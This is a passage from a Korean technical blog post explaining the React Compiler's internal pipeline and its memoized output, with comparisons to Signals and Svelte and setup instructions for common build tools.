각 명령어가 고유 식별자(`$0`, `$1`, ...)를 가진 값을 생성하고, `bb0`는 기본 블록(Basic Block — 분기 없이 순차 실행되는 명령어 묶음)이다. 조건문이 있으면 여러 블록으로 분기된다.

Playground에서 확인한 실제 HIR 출력 예시 (단순 컴포넌트):

```text
function MyApp
bb0 (block):
  [1] $0 = JSXText "Hello World"
  [2] $1 = JSX <div>{$0}</div>
  [3] Return Explicit $1
```

`JSXText`, `JSX` 같은 **고수준 연산이 그대로 보존**되어 있다는 것이 핵심이다. 일반적인 컴파일러처럼 저수준으로 변환하지 않는다.

#### 3단계: SSA 변환

HIR로 코드의 실행 흐름은 파악했다. 하지만 하나의 변수가 여러 곳에서 재할당되면 "이 시점의 `x`가 어디서 온 값인가?"를 추적하기 어렵다. 이 문제를 해결하기 위해 HIR을 **SSA**(Static Single Assignment) 형태로 변환한다. SSA는 **각 변수가 정확히 한 번만 할당되는 형태**로, 컴파일러 최적화의 기초가 된다.

```text
// 일반 코드
let x = 1
if (cond) { x = 2 }
use(x)

// SSA 형태
x_0 = 1
if (cond) { x_1 = 2 }
x_2 = φ(x_0, x_1)   // φ(phi) 노드: 분기 합류 시 어떤 버전을 사용할지 결정
use(x_2)
```

이 변환이 왜 중요한가? `List` 컴포넌트에서 `items`가 `processItems`의 입력이고, 그 결과가 `map`의 입력이라는 **데이터 의존성 체인**을 SSA가 명확하게 드러낸다. 각 값이 정확히 한 번 정의되므로, "이 값이 어디에서 왔는가?"를 추적하는 것이 간단해진다.

Lydia Hallie의 React Summit 2025 발표에서 설명했듯이, 조건문이 있는 복잡한 코드에서 SSA는 각 분기에서의 할당을 별도 변수로 취급하여 데이터 흐름을 정확히 추적한다. 이것이 곧 메모이제이션의 의존성 분석 기반이 된다.

#### 4단계: 유효성 검사와 기본 최적화

여기까지가 "코드를 분석하기 좋은 형태로 바꾸는" 과정이었다. 본격적인 분석에 앞서, SSA 변환 후 여러 검증과 기본 최적화 패스가 실행된다.

- **PruneMaybeThrows**: 예외 가능성 분석
- **DropManualMemoization**: 기존 `useMemo`/`useCallback`을 분석하여 컴파일러 최적화와 통합
- **EliminateRedundantPhi**: 불필요한 φ 노드 제거
- **ConstantPropagation**: 상수 값 전파
- **DeadCodeElimination**: 사용되지 않는 코드 제거

### 5\~7단계: 각 값의 특성 파악

이제 코드가 분석하기 좋은 형태로 정리되었다. 컴파일러는 여기서부터 "어떤 값을 캐시할 것인가?"를 결정하기 위해 세 가지를 파악한다: 값의 **타입**, 값에 미치는 **영향(Effect)**, 값이 렌더링 간에 **변하는지 여부(Reactivity)**.

#### 5단계: 타입 추론 (InferTypes)

각 값의 타입을 추론한다. TypeScript의 타입과는 다른, 컴파일러 내부용 타입 시스템이다.

Playground에서 확인한 InferTypes 출력:

```text
bb0 (block):
  [1] $4:TPrimitive = JSXText "Hello World"
  [2] $5:TObject<BuiltInJsx> = JSX <div>{$4:TPrimitive}</div>
```

`"Hello World"`는 `TPrimitive`, JSX 요소는 `TObject<BuiltInJsx>`로 추론된다. `List` 컴포넌트에서는 `items`가 props이므로 `TObject` 계열로, `useState`의 반환이 `THook` 계열로 추론된다. 이 타입 정보는 이후 메모이제이션 전략에 활용된다. 예를 들어 프리미티브 값은 비교 비용이 낮으므로 의존성으로 사용하기 적합하다.

#### 6단계: Effect 분석 (InferMutationAliasingEffects)

타입을 파악했으니, 다음은 "이 코드가 데이터를 어떻게 다루는가?"를 분석할 차례다. React Compiler의 가장 정교한 부분 중 하나다. 각 연산이 데이터에 어떤 **Effect**(영향)를 미치는지 분석하여, "이 값을 캐시해도 안전한가?"와 "어디까지를 하나의 캐시 단위로 묶을 것인가?"를 결정하는 근거를 만든다.

컴파일러가 추적하는 주요 Effect 종류:

| Effect      | 의미                          | 메모이제이션에 미치는 영향     |
| ----------- | ----------------------------- | ------------------------------ |
| **Read**    | 값을 읽기만 한다              | 의존성으로 추적                |
| **Store**   | 값을 저장한다                 | 새 값의 생성을 표시            |
| **Capture** | 클로저가 값의 참조를 붙잡는다 | 캡처된 값이 변경될 가능성 열림 |
| **Mutate**  | 값을 변경한다                 | mutation 완료까지 scope 확장   |
| **Freeze**  | 값이 불변으로 굳어진다        | 이 시점부터 안전하게 캐시 가능 |

표만 보면 비슷해 보이지만, 특히 **Capture와 Freeze의 차이**, 그리고 **Mutate가 scope를 확장하는 방식**이 실제 컴파일 결과를 결정짓는 핵심이다. 구체적 예시로 살펴보자.

##### Capture vs Freeze: 클로저와 JSX의 차이

다음 컴포넌트를 보자.

```tsx
function CaptureExample({onClick, label}) {
  const data = {count: 0}
  const handler = () => {
    onClick(data)
  }
  return <button onClick={handler}>{label}</button>
}
```

Playground에서 Show Internals를 켜고 InferMutationAliasingEffects 패스를 펼치면, 컴파일러가 각 연산에 어떤 Effect를 부여하는지 확인할 수 있다. 가독성을 위해 정리하면:

```text
[1] { onClick, label } = t0
      Create onClick = frozen          ← props에서 꺼낸 값, 불변
      Create label = frozen
      ImmutableCapture onClick <- t0   ← props 객체와의 참조 관계

[3] data = Object { count: 0 }
      Create data = mutable            ← 새 객체 생성, 아직 변경 가능

[5] handler = Function @context[read onClick, capture data]
      Capture onClick <- data          ← handler가 data의 참조를 붙잡음
      Capture data <- onClick          ← onClick이 data를 받으므로 상호 참조
      MutateTransitiveConditionally onClick
          ← onClick(data) 호출 시 data가 변경될 수도 있음

[7] <button onClick={handler}>{label}</button>
      Freeze handler                   ← JSX에 전달되면서 불변으로 굳어짐
      Freeze label
```

핵심 차이가 드러난다:

- **Capture**: `handler`가 `data`의 **참조를 붙잡는다.** 아직 `data`가 변경될 가능성이 열려 있다. 실제로 `onClick(data)`가 호출되면 `data`가 변경될 수도 있으므로, 컴파일러는 `MutateTransitiveConditionally`로 표시한다. "이 함수가 전달받은 값을 변경할 **수도** 있다"는 뜻이다.
- **Freeze**: `handler`와 `label`이 JSX의 props로 전달되면서 **불변으로 굳어진다.** React는 props를 변경하지 않으므로, 이 시점 이후로는 안전하게 캐시할 수 있다.

이 분석이 컴파일 결과에 그대로 반영된다:

```tsx
// Playground 출력
function CaptureExample(t0) {
  const $ = _c(6)
  const {onClick, label} = t0

  // data 객체 — 리터럴이므로 한 번만 생성 (sentinel 패턴)
  let t1
  if ($[0] === Symbol.for('react.memo_cache_sentinel')) {
    t1 = {count: 0}
    $[0] = t1
  } else {
    t1 = $[0]
  }
  const data = t1

  // handler — onClick을 capture하므로, onClick이 바뀌면 재생성
  let t2
  if ($[1] !== onClick) {
    t2 = () => {
      onClick(data)
    }
    $[1] = onClick
    $[2] = t2
  } else {
    t2 = $[2]
  }
  const handler = t2

  // JSX — handler와 label이 freeze되는 지점
  let t3
  if ($[3] !== handler || $[4] !== label) {
    t3 = <button onClick={handler}>{label}</button>
    $[3] = handler
    $[4] = label
    $[5] = t3
  } else {
    t3 = $[5]
  }
  return t3
}
```

`data`는 `{ count: 0 }`이라는 리터럴이므로 렌더링 간에 값이 바뀔 일이 없다(non-reactive). 그래서 sentinel 패턴으로 한 번만 생성한다. 반면 `handler`는 `onClick`(reactive prop)을 capture하고 있어서, `onClick`이 바뀌면 새로운 클로저를 만들어야 한다. 그리고 JSX는 `handler`와 `label` 모두에 의존하므로, 둘 중 하나라도 바뀌면 재생성된다.

##### Mutate가 scope를 확장하는 원리

Mutate Effect는 scope 경계를 결정하는 데 결정적인 역할을 한다. 다음 예시를 보자.

```tsx
function MutateExample({items, title}) {
  const result = []
  for (const item of items) {
    result.push(<li key={item.id}>{item.name}</li>)
  }
  return <ul title={title}>{result}</ul>
}
```

컴파일러의 Effect 분석:

```text
[1] result = []                    → Create result = mutable
[2] result.push(<li>...</li>)      → Mutate result  (반복)
[3] <ul>{result}</ul>              → Freeze result
```

`result`가 생성(Create)된 후 for문에서 계속 변경(Mutate)된다. 컴파일러는 **mutation이 끝나는 시점까지를 하나의 scope로 묶어야 한다.** 중간에 scope를 끊으면, 아직 mutation이 진행 중인 불완전한 값이 캐시될 수 있기 때문이다.

컴파일 결과를 보면 이 원리가 명확히 드러난다:

```tsx
// Playground 출력
function MutateExample(t0) {
  const $ = _c(5)
  const {items, title} = t0

  // result 생성 + 모든 push가 하나의 scope
  let result
  if ($[0] !== items) {
    result = [] // Create
    for (const item of items) {
      result.push(<li key={item.id}>{item.name}</li>) // Mutate
    }
    $[0] = items // mutation이 모두 끝난 후에야
    $[1] = result // 캐시에 저장
  } else {
    result = $[1]
  }

  // JSX — result가 freeze되는 지점
  let t1
  if ($[2] !== result || $[3] !== title) {
    t1 = <ul title={title}>{result}</ul> // Freeze
    $[2] = result
    $[3] = title
    $[4] = t1
  } else {
    t1 = $[4]
  }
  return t1
}
```

`result = []`과 모든 `result.push(...)` 호출이 **같은 if 블록 안에** 있다. 만약 컴파일러가 배열 생성과 push를 별도 scope로 분리했다면, 빈 배열이 캐시되고 push가 별도로 실행되는 의미 없는 코드가 됐을 것이다. Mutate Effect가 "이 값에 대한 변경이 아직 진행 중이다"를 알려주기 때문에, 컴파일러는 mutation이 완료된 후에야 scope 경계를 긋는다.

그리고 `<ul>{result}</ul>`에서 `result`가 JSX에 전달되면 Freeze — 이후로는 변경되지 않는다고 간주한다. 이 시점부터 별도의 scope가 시작된다.

#### 7단계: Reactive 분석 (InferReactivePlaces)

타입과 Effect를 모두 파악했다. 마지막으로 **가장 핵심적인 질문**에 답할 차례다: "어떤 값이 렌더링 간에 변할 수 있는가?" 이 질문의 답이 곧 "무엇을 캐시하고, 무엇을 재계산할 것인가?"를 결정한다.

`List` 컴포넌트에서:

```text
Reactive (렌더링마다 변할 수 있음):
  - items          ← props
  - selItem        ← useState 값
  - sort           ← useState 값
  - pItems         ← items(reactive)에서 파생
  - listItems      ← pItems(reactive)에서 파생

Non-reactive (렌더링 간 불변):
  - null           ← 리터럴
  - 0              ← 리터럴
  - (item) => ...  ← 외부 의존성 없는 함수 (모듈 레벨로 호이스팅됨)
  - <ul>           ← 태그 자체는 불변
```

이 구분이 메모이제이션 전략의 핵심이다. Non-reactive 값은 한 번 캐시하면 영원히 유효하다(센티넬 체크 패턴). Reactive 값에 의존하는 계산은 해당 값이 변경될 때만 재계산한다(의존성 비교 패턴).

Playground에서 확인할 수 있는 관련 패스:

- **InferReactivePlaces**: 각 값의 reactive 여부 판별
- **InferReactiveScopeVariables**: reactive scope에 포함될 변수 결정

### 8단계: 캐시 단위 결정 (Reactive Scope 구성)

5\~7단계의 분석 결과를 바탕으로, 실제로 "무엇을 하나의 캐시 덩어리로 묶을지" 결정하는 단계다. 관련 있는 값들을 **scope**로 묶고, 하나의 scope가 하나의 캐시 단위(최종 출력의 `if` 블록)가 된다. Playground에서 BuildReactiveFunction 패스를 펼치면 컴파일러가 구성한 scope를 직접 확인할 수 있다.

앞서 분석한 `CaptureExample`의 BuildReactiveFunction 출력을 보자 (가독성을 위해 정리했다):

```text
function CaptureExample(t0) {
  [1] Destructure { onClick, label } = t0

  scope @1 dependencies=[0] declarations=[data] {
    [4] data = Object { count: 0 }
  }

  scope @2 dependencies=[onClick, data] declarations=[handler] {
    [8] handler = Function @context[read onClick, capture data]
  }

  scope @3 dependencies=[handler, label] declarations=[t3] {
    [11] t3 = <button onClick={handler}>{label}</button>
  }

  return t3
}
```

3개의 scope가 만들어졌다. 각각이 최종 출력에서 하나의 `if` 블록이 된다. **왜 이렇게 나뉘었는가?**

| Scope        | 의존성             | 최종 캐시 패턴                         | 분리 이유                                                                    |
| ------------ | ------------------ | -------------------------------------- | ---------------------------------------------------------------------------- |
| @1 `data`    | `0` (primitive)    | sentinel 체크                          | 리터럴에만 의존 → 한 번 생성하면 영원히 유효                                 |
| @2 `handler` | `onClick`, `data`  | `$[1] !== onClick`                     | `onClick`이 reactive. `data`는 @1에서 불변이므로 실질적 의존성은 `onClick`뿐 |
| @3 JSX       | `handler`, `label` | `$[3] !== handler \|\| $[4] !== label` | 둘 다 reactive. 하나라도 변하면 JSX 재생성                                   |

scope가 분리되는 핵심 기준은 **의존성의 독립성**이다. `onClick`만 변경되면 @2만 재실행되고, @1의 `data`는 재사용된다. `label`만 변경되면 @2의 `handler`도 캐시에서 나오고, @3만 재실행된다. 만약 @2와 @3이 하나의 scope로 합쳐졌다면, `label`만 변경되어도 handler를 불필요하게 새로 만들게 된다.

scope @2의 의존성 목록에는 `data`도 포함되어 있지만, 최종 출력에서는 `$[1] !== onClick`만 비교한다. `data`는 scope @1에서 sentinel 패턴으로 캐시되어 절대 변하지 않으므로, 컴파일러가 불필요한 비교를 제거한 것이다. 이처럼 scope 구성 이후에도 여러 정리 패스가 최적화를 수행한다:

- **PruneNonEscapingScopes**: 컴포넌트 외부로 전달되지 않는 값의 scope는 캐시할 필요가 없으므로 제거
- **MergeReactiveScopesThatInvalidateTogether**: 의존성이 동일하여 항상 함께 무효화되는 scope들을 하나로 합침 (별도 비교보다 합치는 것이 비용 절감)
- **PruneAlwaysInvalidatingScopes**: 매 렌더링마다 무효화되는 scope는 캐시 의미가 없으므로 제거

`MutateExample`의 scope 구성도 비교해보자. 6단계에서 봤듯이 Mutate Effect가 scope를 확장하므로, 배열 생성과 모든 push가 하나의 scope로 묶인다:

```text
scope @1 dependencies=[items] declarations=[result] {
  result = []
  for (const item of items) { result.push(...) }
}

scope @2 dependencies=[result, title] declarations=[t1] {
  t1 = <ul title={title}>{result}</ul>
}
```

@1은 `items`에만 의존한다. `items`가 같으면 `result`를 통째로 캐시에서 꺼낸다. @2는 `result`와 `title`에 의존하는데, `items`가 바뀌어 `result`가 새로 만들어지면 @2도 재실행되고, `title`만 바뀌면 @2만 재실행된다. 핵심은 **최소한의 캐시로 최대의 효과**를 내는 것이다.

### 9단계: Codegen (코드 생성)

모든 분석과 최적화가 끝났다. 마지막으로 내부 표현을 다시 Babel AST로 변환하여 JavaScript를 출력한다. 변수를 `t0`, `t1`로 변환하고, 캐시 배열과 비교 로직을 삽입한다.

전체 파이프라인을 요약하면 다음과 같다.

```mermaid
flowchart TD
    A["소스 코드"] --> B["Babel AST 파싱"]
    B --> C["HIR 변환<br/>(제어 흐름 그래프)"]
    C --> D["SSA 변환<br/>(단일 할당)"]
    D --> E["유효성 검사 & 최적화<br/>(DCE, 상수 전파)"]
    E --> F["타입 추론<br/>(TPrimitive, TObject 등)"]
    F --> G["Effect 분석<br/>(Read, Mutate, Freeze)"]
    G --> H["Reactive 분석<br/>(reactive vs non-reactive)"]
    H --> I["Scope 구성 & 정리<br/>(캐시 단위 결정)"]
    I --> J["Codegen"]
    J --> K["최적화된 JavaScript"]
```

## 컴파일 결과물 분석

파이프라인을 이해했으니, 실제 결과물을 살펴보자.

### 정적 JSX: 가장 단순한 케이스

```tsx
export default function MyApp() {
  return <div>Hello World</div>
}
```

컴파일 결과:

```tsx
import {c as _c} from 'react/compiler-runtime'

export default function MyApp() {
  const $ = _c(1)
  let t0
  if ($[0] === Symbol.for('react.memo_cache_sentinel')) {
    t0 = <div>Hello World</div>
    $[0] = t0
  } else {
    t0 = $[0]
  }
  return t0
}
```

핵심 패턴:

- **`_c(1)`**: `react/compiler-runtime`에서 가져온 캐시 생성 함수. 크기 1인 캐시 배열을 Fiber 노드에 생성한다.
- **`$`**: 캐시 배열. `$[0]`, `$[1]` 식으로 슬롯에 접근.
- **`Symbol.for("react.memo_cache_sentinel")`**: 캐시가 비어있는지 확인하는 센티넬(sentinel) 값. 센티넬이란 "이 슬롯은 아직 한 번도 사용되지 않았다"를 나타내는 특수한 표지 값이다.

Props도 state도 없으므로, JSX 전체를 한 번만 생성하고 이후에는 캐시에서 반환한다.

### props 의존: 의존성 비교 패턴

```tsx
function Greeting({name}) {
  const text = `Hello, ${name}!`
  return <p>{text}</p>
}
```

컴파일 결과:

```tsx
function Greeting(t0) {
  const $ = _c(2)
  const {name} = t0
  let t1
  if ($[0] !== name) {
    t1 = <p>{`Hello, ${name}!`}</p>
    $[0] = name
    $[1] = t1
  } else {
    t1 = $[1]
  }
  return t1
}
```

`$[0]`에 의존성(`name`), `$[1]`에 결과(JSX)를 저장한다. `name`이 이전과 같으면 캐시된 JSX를 반환. 수동 `useMemo`와 동일한 효과지만, 의존성 배열을 개발자가 관리할 필요가 없다.

### 현실적 컴포넌트: 4개 캐시 슬롯 분석

앞서 파이프라인에서 추적한 `List` 컴포넌트의 컴파일 결과를 보자. [Playground](https://playground.react.dev/)에서 직접 확인한 결과다.

```tsx
import {c as _c} from 'react/compiler-runtime'

function List(t0) {
  const $ = _c(4)
  const {items} = t0
  useState(null)
  useState(0)

  let t1
  if ($[0] !== items) {
    const pItems = processItems(items)
    t1 = pItems.map(_temp)
    $[0] = items
    $[1] = t1
  } else {
    t1 = $[1]
  }

  const listItems = t1
  let t2
  if ($[2] !== listItems) {
    t2 = <ul>{listItems}</ul>
    $[2] = listItems
    $[3] = t2
  } else {
    t2 = $[3]
  }
  return t2
}

function _temp(item) {
  return <li>{item}</li>
}
```

몇 가지 눈에 띄는 점이 있다.

**`useState`는 캐싱하지 않는다.** `useState(null)`과 `useState(0)`은 캐시 로직 없이 그대로 호출된다. 훅의 state는 React 내부의 Fiber에서 관리하므로, 컴파일러가 별도로 캐싱할 필요가 없다.

**map 콜백은 모듈 레벨 함수로 호이스팅된다.** `(item) => <li>{item}</li>`는 외부 변수에 의존하지 않으므로, 컴파일러가 `_temp`라는 별도 함수로 추출해서 컴포넌트 밖으로 빼냈다. 매 렌더링마다 함수를 새로 만들 필요가 없어지는 것이다.

4개의 캐시 슬롯이 각각 어떤 역할을 하는지 분석하면:

| 슬롯   | 패턴   | 저장 내용                  | 무효화 조건              |
| ------ | ------ | -------------------------- | ------------------------ |
| `$[0]` | 의존성 | `items` (비교용)           | `items` 참조 변경 시     |
| `$[1]` | 결과   | `pItems.map(_temp)` 결과   | `items` 변경 시          |
| `$[2]` | 의존성 | `listItems` (비교용)       | `listItems` 참조 변경 시 |
| `$[3]` | 결과   | `<ul>{listItems}</ul>` JSX | `listItems` 변경 시      |

각 scope가 **독립적으로 작동**한다. `items`가 바뀌면 `$[0]`\~`$[1]`과 `$[2]`\~`$[3]`이 갱신된다. 수동으로 `useMemo`를 사용했다면 `processItems(items)` 결과만 캐싱하겠지만, 컴파일러는 그 결과에 의존하는 `<ul>` JSX까지 별도의 scope로 캐싱한다.

### 캐시의 저장 위치: Fiber Tree

`_c`가 생성한 캐시 배열은 **React의 Fiber 노드에 저장**된다. Fiber란 React가 내부적으로 각 컴포넌트 인스턴스를 추적하기 위해 만드는 객체로, 훅의 state나 effect 정보가 이 Fiber에 연결 리스트 형태로 저장된다. `useMemo`가 그러하듯, 컴파일러도 이 기존 훅 저장 메커니즘을 재활용한다.

- **인스턴스 단위**: `<List items={a} />`와 `<List items={b} />`는 별도의 캐시를 가진다.
- **생명주기 연동**: 마운트 시 생성, 언마운트 시 해제. 메모리 누수 걱정이 없다.
- **메모리-성능 트레이드오프**: 캐시 배열이 메모리를 사용하지만, 컴포넌트 리렌더링 비용에 비하면 대부분 상쇄된다.

### 최종 실행 코드

React Compiler의 출력에는 **아직 JSX가 포함**되어 있다. 실제로 브라우저가 실행하는 코드는 JSX 트랜스파일을 한 번 더 거친 결과다.

```tsx
// React Compiler 출력
t0 = <div>Hello World</div>

// JSX 트랜스파일 후 (브라우저가 실행)
t0 = _jsx('div', {children: 'Hello World'})
```

작성한 코드와 실행 코드 사이에 **두 단계의 변환**이 존재한다는 점을 디버깅 시 인식하고 있어야 한다.

## 실제 성능 결과

developerway.com에서 15,000줄 규모의 프로덕션 앱에 React Compiler를 적용한 결과다.

### 컴파일 커버리지

363개 컴포넌트 중 **361개가 성공적으로 컴파일**되었다. ESLint 규칙 위반 0건. React 규칙을 잘 따르는 코드베이스에서 거의 모든 컴포넌트를 처리할 수 있다.

### 초기 로드 vs 인터랙션

- **초기 로드**: 유의미한 차이 없음. 첫 렌더링에서는 어차피 모든 값을 계산해야 하므로 오버헤드가 거의 없다.
- **설정 페이지**: Total Blocking Time **280ms → 0ms**
- **갤러리 필터**: Blocking time **130ms → 90ms** (약 30% 감소)

Meta에서는 Quest Store에서 초기 로드/내비게이션 최대 12% 개선, 인터랙션 최대 2.5배 빨라진 결과를 보고했다.

### 리렌더링 케이스 분석

눈에 띄는 9개의 리렌더링 케이스:

| 결과      | 건수 | 특징                                    |
| --------- | ---- | --------------------------------------- |
| 완전 해결 | 2    | 비-프리미티브 props 전달, children 패턴 |
| 부분 개선 | 5    | 일부 리렌더링 감소                      |
| 개선 없음 | 2    | 매번 새 객체 참조, 라이브러리 bailout   |

## 한계와 주의사항

### 불안정한 참조 문제

컴파일러는 `!==` 비교로 캐시 유효성을 판단한다. API 응답처럼 매번 새 객체를 반환하는 데이터는 내용이 같아도 캐시가 무효화된다.

```tsx
function UserProfile({userId}) {
  const user = useFetchUser(userId)
  // user 객체의 참조가 매번 바뀌면, 아래 전체가 매번 재계산된다
  return <ProfileCard user={user} />
}
```

TanStack Query나 SWR 같은 라이브러리가 참조 안정성을 보장하도록 설정하는 것이 근본적 해결책이다.

### 컴파일러 Bailout

Bailout이란 컴파일러가 "이 코드는 안전하게 최적화할 수 없다"고 판단하여 변환을 포기하는 것이다. 다음 패턴에서 컴파일러는 해당 컴포넌트를 건너뛴다:

- 조건부 훅 호출
- 렌더링 중 side effect
- `eval()` 등 동적 코드 실행
- 컴파일러가 mutability를 모델링할 수 없는 외부 라이브러리 호출

Bailout 시 기능 문제는 없지만 최적화 효과를 받지 못한다. `npx react-compiler-healthcheck`로 사전에 호환성을 점검할 수 있다.

### 수동 최적화가 더 나은 경우

컴파일러는 주어진 코드 구조 안에서 최적화할 뿐, **구조 자체를 바꾸지는 않는다.** 다음은 여전히 개발자의 영역이다:

- 자주 변경되는 state와 드물게 변경되는 state를 별도 컴포넌트로 분리
- 중첩된 객체를 정규화하여 비교 효율성 향상
- 리렌더링 범위를 줄이기 위한 컴포넌트 구조 변경

### 번들 사이즈 영향

React 19에서는 `react/compiler-runtime`의 `_c` 함수가 React 자체에 포함되어 있으므로, 별도의 런타임 라이브러리를 추가할 필요가 없다. React 17/18에서는 `react-compiler-runtime` 패키지를 설치해야 하지만, 크기가 매우 작다. 오히려 기존 `useMemo`/`useCallback` 래퍼를 제거하면 번들이 줄어들 수도 있다.

## Signals와의 비교: 왜 React는 컴파일러를 선택했나

Solid.js, Preact Signals, Angular Signals 같은 프레임워크는 **Signals**로 세밀한 반응성(fine-grained reactivity)을 구현한다. React가 같은 문제를 컴파일러로 풀기로 한 이유는 무엇일까?

### 접근법의 차이

|                 | Signals                               | React Compiler                              |
| --------------- | ------------------------------------- | ------------------------------------------- |
| **시점**        | 런타임                                | 빌드 타임                                   |
| **추적 방식**   | 실행 시 의존성 자동 추적              | 정적 분석으로 의존성 추론                   |
| **정밀도**      | 표현식 단위 (DOM 노드 직접 업데이트)  | 컴포넌트/훅 단위 (Virtual DOM diffing 유지) |
| **런타임 비용** | Signal당 구독자 Set 유지, 그래프 정렬 | 캐시 배열 비교 (의존성 수에 비례)           |
| **번들 추가**   | 런타임 라이브러리 필요 (~1KB+)        | 0 (기존 React에 포함)                       |
| **API 변경**    | `.value` 읽기, Signal 객체 관리       | 없음 (기존 React 코드 그대로)               |

### React가 컴파일러를 선택한 이유

**1. 프로그래밍 모델 보존.** React의 "UI는 state의 함수"라는 멘탈 모델과 일반 JavaScript 값/관용구를 사용하는 접근성이 React의 핵심 가치다. Signals는 mutable reactive atom이라는 새로운 프리미티브를 도입하는데, 이는 React의 불변성 우선 모델과 상충한다.

**2. 불변 state가 가능하게 하는 기능들.** React의 불변 state 모델은 time-travel 디버깅, concurrent rendering(작업을 중단하고 재생할 수 있는 것은 state가 snapshot이기 때문), React Server Components(직렬화 가능한 state), Suspense를 가능하게 한다. Mutable signals는 렌더를 snapshot에서 재생하는 능력과 근본적으로 호환되지 않는다.

**3. 컴포넌트 함수의 의미.** React에서 컴포넌트 함수는 매 렌더링마다 재실행된다. Solid.js에서는 컴포넌트 함수가 한 번 실행되는 "setup" 함수이고, signals가 DOM을 직접 업데이트한다. Signals를 도입하면 React의 프로그래밍 모델이 근본적으로 달라진다.

**4. 실용적 80/20 해결.** 컴파일러의 명시적 목표는 "완벽한 최적화"가 아니라 "기본적으로 빠른 성능"이다. 수동 메모이제이션이라는 가장 큰 고충을 생태계 변경 없이 해결하는 실용적 선택이다.

## Svelte와의 비교: 같은 컴파일러, 다른 철학

Signals 비교가 "런타임 vs 빌드타임"의 차이였다면, Svelte와의 비교는 더 흥미롭다. **둘 다 컴파일러 기반인데, 왜 완전히 다른 결과물을 만들어내는가?**

### Svelte의 접근: 프레임워크를 컴파일해서 없앤다

Svelte 5의 컴파일러는 `.svelte` 파일을 받아서, Virtual DOM 없이 **DOM을 직접 조작하는 명령형 JavaScript**를 생성한다. 같은 카운터 컴포넌트가 어떻게 컴파일되는지 보자.

```html
<script>
  let count = $state(0)
  const doubled = $derived(count * 2)
</script>

<button onclick="{()" ="">count++}> {count} x 2 = {doubled}</button>
```

Svelte 컴파일러의 출력(단순화):

```js
import * as $ from 'svelte/internal/client'

var root = $.from_html(`<button> </button>`)

export default function Counter($$anchor) {
  let count = $.state(0)
  const doubled = $.derived(() => $.get(count) * 2)

  var button = root()
  var text = $.child(button)

  button.__click = () => $.set(count, $.get(count) + 1)

  // 이 콜백만 state 변경 시 재실행된다
  $.template_effect(() =>
    $.set_text(text, `${$.get(count)} x 2 = ${$.get(doubled)}`),
  )

  $.append($$anchor, button)
}
```

**컴포넌트 함수가 한 번만 실행된다.** 이후 state가 바뀌면 `template_effect` 콜백만 다시 실행되어 해당 DOM 텍스트 노드를 직접 업데이트한다. Virtual DOM diffing도, 컴포넌트 재실행도 없다.

### 핵심 차이: 무엇을 컴파일하는가

|                     | Svelte 5                                    | React Compiler                            |
| ------------------- | ------------------------------------------- | ----------------------------------------- |
| **컴파일 목표**     | 프레임워크를 없앤다                         | 프레임워크 안에서 최적화한다              |
| **런타임**          | ~1.6KB (신호 시스템만)                      | ~42KB (React + ReactDOM)                  |
| **Virtual DOM**     | 없음 — DOM 직접 조작                        | 유지 — diffing은 그대로                   |
| **업데이트 단위**   | 개별 DOM 노드 (`set_text`, `set_attribute`) | 컴포넌트 서브트리 (메모이제이션으로 skip) |
| **컴포넌트 재실행** | 안 함 (한 번 실행 후 effect만 재실행)       | 함 (다만 캐시 hit 시 자식은 skip)         |
| **반응성 모델**     | Signal 기반 (`$state`, `$derived`)          | 불변 state + 자동 메모이제이션            |

React Compiler를 비유하면 "같은 엔진을 쓰되 기어 변속을 자동으로" 해주는 것이고, Svelte는 "엔진 자체를 다른 것으로 교체"한 것이다.

### 왜 React는 Svelte 방식을 택하지 않았나

Svelte 방식이 성능 면에서 유리한 것은 사실이다. Virtual DOM diffing 자체를 없앴으니, 오버헤드가 원천적으로 사라진다. 그런데 React가 이 방식을 선택하지 않은 데는 이유가 있다.

**1. 생태계 호환성.** React의 기존 코드, 라이브러리, 패턴을 모두 보존해야 한다. Virtual DOM을 제거하면 React의 전체 생태계가 깨진다.

**2. Concurrent 기능.** React의 Suspense, Transitions, Streaming SSR 같은 concurrent 기능들은 Virtual DOM의 "중간 상태를 메모리에 유지하고 필요할 때 커밋"하는 모델에 의존한다. DOM 직접 조작 방식에서는 이런 기능을 구현하기 어렵다.

**3. 점진적 도입.** React Compiler는 기존 프로젝트에 Babel 플러그인 하나만 추가하면 된다. 코드 변경이 필요 없다. Svelte로의 전환은 전체 재작성을 의미한다.

결국 두 컴파일러는 서로 다른 제약 조건에서 최선의 답을 낸 것이다. Svelte는 "처음부터 최적의 구조를 설계"했고, React는 "기존 구조를 유지하면서 가능한 최대한 최적화"했다. 어느 쪽이 더 낫다기보다, 트레이드오프가 다른 것이다.

## 도입 가이드

### 요구 사항

- **React 19**에서는 추가 설정 없이 바로 동작한다. **React 17, 18**에서도 사용할 수 있지만, `react-compiler-runtime` 패키지를 추가로 설치하고 `target` 옵션을 설정해야 한다.
- 코드베이스가 [Rules of React](https://react.dev/reference/rules)를 따르고 있어야 한다. 조건부 훅 호출, 렌더링 중 side effect 등을 사용하면 컴파일러가 해당 컴포넌트를 건너뛴다.

React 17/18에서의 추가 설정:

```bash
npm install react-compiler-runtime@latest
```

```js
// babel-plugin-react-compiler 옵션
{
  target: '18' // 또는 '17'
}
```

### 설치

```bash
npm install -D babel-plugin-react-compiler@latest
```

### 빌드 도구별 설정

#### Next.js (v15.3.1+)

Next.js는 React Compiler를 빌트인으로 지원한다. 설정 한 줄이면 된다.

```js
// next.config.js
const nextConfig = {
  reactCompiler: true,
}
module.exports = nextConfig
```

#### Vite

`@vitejs/plugin-react`의 Babel 옵션에 플러그인을 추가한다.

```js
// vite.config.js
import react from '@vitejs/plugin-react'

export default defineConfig({
  plugins: [
    react({
      babel: {
        plugins: ['babel-plugin-react-compiler'],
      },
    }),
  ],
})
```

#### Babel (직접 설정)

Webpack, React Native(Metro) 등 Babel을 직접 사용하는 환경에서는 `babel.config.js`에 추가한다. **반드시 플러그인 목록의 첫 번째**여야 한다. 컴파일러가 정확한 분석을 위해 다른 변환 전의 원본 코드를 봐야 하기 때문이다.

```js
// babel.config.js
module.exports = {
  plugins: [
    'babel-plugin-react-compiler', // 반드시 첫 번째
    // ... 다른 플러그인
  ],
}
```

### ESLint 설정

React Compiler와 함께 ESLint 플러그인을 사용하면, 컴파일러가 건너뛸 수밖에 없는 코드를 사전에 잡아낼 수 있다.

```bash
npm install -D eslint-plugin-react-hooks@latest
```

`recommended-latest` 프리셋을 사용하면 컴파일러 관련 규칙이 포함된다. 위반 사항이 있어도 컴파일러가 해당 컴포넌트를 건너뛸 뿐 빌드가 깨지지는 않으므로, 당장 모든 경고를 해결하지 않아도 된다.

### 호환성 점검

